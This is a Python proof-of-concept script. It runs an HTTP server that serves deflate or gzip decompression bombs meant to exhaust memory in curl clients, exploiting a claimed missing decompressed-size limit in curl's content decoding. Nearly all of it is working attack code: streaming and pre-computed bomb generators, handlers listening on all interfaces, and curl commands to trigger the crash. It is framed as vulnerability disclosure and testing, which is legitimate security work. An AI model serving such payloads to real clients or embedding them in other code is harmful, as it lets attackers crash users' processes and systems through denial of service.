PoC: decompression bomb against curl (CVE/issue pending) — demonstrates missing size limit in lib/content_encoding.c

poc_decompression_bomb.py

#!/usr/bin/env python3
"""
PoC: curl Decompression Bomb — Missing Decompressed-Size Limit
================================================================
CVE Context: HIGH-1 from security_curl.md
  zlib (gzip/deflate), brotli, and zstd decoders in
  lib/content_encoding.c loop without tracking total decompressed
  bytes. A malicious server can serve a tiny compressed payload
  that expands to gigabytes, causing client OOM/DoS.

Mechanism:
  Uses Content-Encoding: deflate (raw zlib, RFC 1951) — a single
  continuous stream that decompresses to arbitrary size.
  Ratio: ~1000:1 (10KB on wire → 10MB in memory).

  Also supports Content-Encoding: gzip via concatenated members
  (RFC 1952 §2.2), though some curl versions have issues with
  concatenated gzip handling.

Usage:
  1. Start server:
       python3 poc_decompression_bomb.py                  # 100MB bomb
       python3 poc_decompression_bomb.py -s 1             # 1GB bomb
       python3 poc_decompression_bomb.py -m 50            # 50MB bomb

  2. Trigger with curl:
       curl --compressed -o /dev/null http://localhost:8888/
       curl --compressed -o /tmp/out http://localhost:8888/

  3. Expected behavior if fixed:
       curl should abort with an error when decompressed size
       exceeds a reasonable limit (e.g. 100× Content-Length
       or a hard cap like 1GB).

  4. Actual behavior (vulnerable):
       curl decompresses all data regardless of size, until
       process memory is exhausted.
"""

import http.server
import zlib
import signal
import argparse
import sys

# ─── Parameters ──────────────────────────────────────────────────────────
CHUNK_SIZE      = 1024 * 1024          # 1 MB of zeros per compression chunk
BYTES_PER_GB    = 1024 * 1024 * 1024
BYTES_PER_MB    = 1024 * 1024

# Pre-compute: compress 1MB of zeros with raw deflate (no zlib/gzip header)
ZEROS_1MB       = b'\x00' * CHUNK_SIZE
COMPRESSOR_1MB  = zlib.compressobj(wbits=-15, level=9)
COMPRESSED_1MB  = COMPRESSOR_1MB.compress(ZEROS_1MB) + COMPRESSOR_1MB.flush()

RATIO = CHUNK_SIZE / len(COMPRESSED_1MB)
print(f"[+] 1 MB zeros → {len(COMPRESSED_1MB)} bytes deflate ({RATIO:.0f}:1)")
print()

# ─── Bomb Generator (Streaming) ──────────────────────────────────────────
def generate_deflate_bomb(target_bytes: int):
    """Generate a raw deflate stream that decompresses to target_bytes.

    Uses a fresh compressor for each call, streaming 1MB zero chunks.
    The resulting deflate stream is a single continuous RFC 1951 stream
    with no zlib/gzip wrapper — intended for Content-Encoding: deflate.
    """
    compressor = zlib.compressobj(wbits=-15, level=9)
    remaining = target_bytes
    compressed_chunks = []

    # Compress 1MB chunks of zeros
    while remaining > 0:
        chunk_size = min(CHUNK_SIZE, remaining)
        # We don't need to allocate the full zero chunk —
        # the deflate algorithm produces the same output for repeated zeros
        compressed_chunks.append(compressor.compress(b'\x00' * chunk_size))
        remaining -= chunk_size

    # Finalize the deflate stream
    compressed_chunks.append(compressor.flush())
    return b''.join(compressed_chunks)


def generate_bomb(target_bytes: int, encoding: str = 'deflate') -> bytes:
    """Generate the compressed bomb payload for the given encoding."""
    if encoding == 'deflate':
        return generate_deflate_bomb(target_bytes)
    elif encoding == 'gzip':
        # gzip via concatenated members
        import gzip as gz
        one = gz.compress(b'\x00' * (64 * 1024))
        count = target_bytes // (64 * 1024)
        return one * count
    else:
        raise ValueError(f"Unknown encoding: {encoding}")


# ─── HTTP Handlers ───────────────────────────────────────────────────────
class BombHandler(http.server.BaseHTTPRequestHandler):
    """Serves a pre-computed bomb as a single response."""

    body: bytes = b''
    content_encoding: str = 'deflate'
    target_size_str: str = ''

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Encoding', self.content_encoding)
        self.send_header('Content-Length', str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)
        print(f"  [server] Sent {len(self.body)/1024:.0f} KB "
              f"(→ {self.target_size_str} decompressed)")

    def log_message(self, fmt, *args):
        pass


class StreamingBombHandler(http.server.BaseHTTPRequestHandler):
    """Serves a bomb generated on-the-fly (for large sizes)."""

    target_bytes: int = 0
    content_encoding: str = 'deflate'

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Encoding', self.content_encoding)
        # No Content-Length — server will close connection
        self.end_headers()

        compressor = zlib.compressobj(wbits=-15, level=9)
        remaining = self.target_bytes
        sent = 0

        try:
            while remaining > 0:
                chunk_size = min(CHUNK_SIZE, remaining)
                cdata = compressor.compress(b'\x00' * chunk_size)
                self.wfile.write(cdata)
                sent += len(cdata)
                remaining -= chunk_size

            cdata = compressor.flush()
            self.wfile.write(cdata)
            sent += len(cdata)

            print(f"  [server] Streamed {sent/1024:.0f} KB "
                  f"(→ {self.target_bytes/BYTES_PER_MB:.0f} MB decompressed)")
        except (BrokenPipeError, ConnectionResetError):
            print(f"  [server] Client disconnected early")

    def log_message(self, fmt, *args):
        pass


# ─── Verification ────────────────────────────────────────────────────────
def verify_bomb(body: bytes, expected_bytes: int, encoding: str) -> bool:
    """Verify the bomb decompresses to the expected size."""
    try:
        if encoding == 'deflate':
            decompressed = zlib.decompress(body, wbits=-15)
        elif encoding == 'gzip':
            import gzip as gz
            decompressed = gz.decompress(body)
        else:
            return False

        if len(decompressed) != expected_bytes:
            print(f"  [!] Size mismatch: {len(decompressed)} != {expected_bytes}")
            return False
        if decompressed != b'\x00' * expected_bytes:
            print(f"  [!] Content mismatch (not all zeros)")
            return False
        return True
    except Exception as e:
        print(f"  [!] Decompression failed: {e}")
        return False


# ─── Main ────────────────────────────────────────────────────────────────
def main():
    parser = argparse.ArgumentParser(
        description='curl Decompression Bomb PoC (HIGH-1)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s                    100 MB bomb (defalte), pre-computed
  %(prog)s -s 1               1 GB bomb (deflate), pre-computed
  %(prog)s -s 0.1 -e gzip     100 MB bomb (gzip), pre-computed
  %(prog)s -s 10 --stream     10 GB bomb, streamed (no pre-allocation)
        """)
    parser.add_argument('-p', '--port', type=int, default=8888,
                        help='Listen port (default: 8888)')
    parser.add_argument('-s', '--size', type=float, default=0.1,
                        help='Decompressed size in GB (default: 0.1 = 100MB)')
    parser.add_argument('-m', '--megabytes', type=int, default=0,
                        help='Decompressed size in MB (overrides --size)')
    parser.add_argument('-e', '--encoding', choices=['deflate', 'gzip'],
                        default='deflate',
                        help='Content-Encoding to use (default: deflate)')
    parser.add_argument('--stream', action='store_true',
                        help='Stream bomb (no pre-allocation, for large sizes)')
    parser.add_argument('--no-verify', action='store_true',
                        help='Skip decompression verification')
    args = parser.parse_args()

    # Compute target size
    if args.megabytes:
        target = args.megabytes * BYTES_PER_MB
        size_str = f"{args.megabytes} MB"
    else:
        target = int(args.size * BYTES_PER_GB)
        if target >= BYTES_PER_GB:
            size_str = f"{target/BYTES_PER_GB:.1f} GB"
        else:
            size_str = f"{target/BYTES_PER_MB:.0f} MB"

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║  curl Decompression Bomb PoC  —  HIGH-1                     ║
║  lib/content_encoding.c: no total_decompressed limit         ║
╚═══════════════════════════════════════════════════════════════╝

  Target:           {size_str} decompressed
  Content-Encoding: {args.encoding}
  Mode:             {'streaming' if args.stream else 'pre-computed'}
  Server:           http://localhost:{args.port}/
""")

    # Generate bomb
    if args.stream:
        print("  Generating bomb on-the-fly (streaming mode)...\n")
        handler_class = StreamingBombHandler
        StreamingBombHandler.target_bytes = target
        StreamingBombHandler.content_encoding = args.encoding
    else:
        print("  Generating bomb payload...", end=' ', flush=True)
        body = generate_bomb(target, args.encoding)
        actual_ratio = target / len(body)
        print(f"{len(body)/1024:.0f} KB ({actual_ratio:.0f}:1 ratio)")

        if not args.no_verify:
            print("  Verifying decompression...", end=' ', flush=True)
            if verify_bomb(body, target, args.encoding):
                print("OK")
            else:
                print("FAILED — bomb may not work correctly")
                sys.exit(1)

        print()
        handler_class = BombHandler
        BombHandler.body = body
        BombHandler.content_encoding = args.encoding
        BombHandler.target_size_str = size_str

    print(f"""  Test commands:

    # Basic: download and decompress the bomb
    curl --compressed -v -o /dev/null http://localhost:{args.port}/

    # Save to file (WARNING: will write {size_str} to disk)
    curl --compressed -o /tmp/bomb_out http://localhost:{args.port}/

    # With wire-only limit (won't protect against decompression bombs)
    curl --compressed --max-filesize 1M http://localhost:{args.port}/

    # Measure: how much data was decompressed vs downloaded
    curl --compressed -s -o /dev/null \\
         -w "Wire: %{{size_download}}B, Time: %{{time_total}}s\\n" \\
         http://localhost:{args.port}/

  Expected behavior (if vulnerability is fixed):
    curl should detect decompressed size exceeds a safe limit
    and abort with CURLE_BAD_CONTENT_ENCODING or similar.

  Actual behavior (vulnerable):
    curl decompresses ALL {size_str} into memory without any limit,
    potentially causing OOM kill or system freeze.

  Press Ctrl+C to stop the server.
""")

    # Start server
    server = http.server.HTTPServer(('0.0.0.0', args.port), handler_class)
    signal.signal(signal.SIGINT, lambda s, f: server.shutdown())

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    finally:
        print("\n[+] Server stopped.")


if __name__ == '__main__':
    main()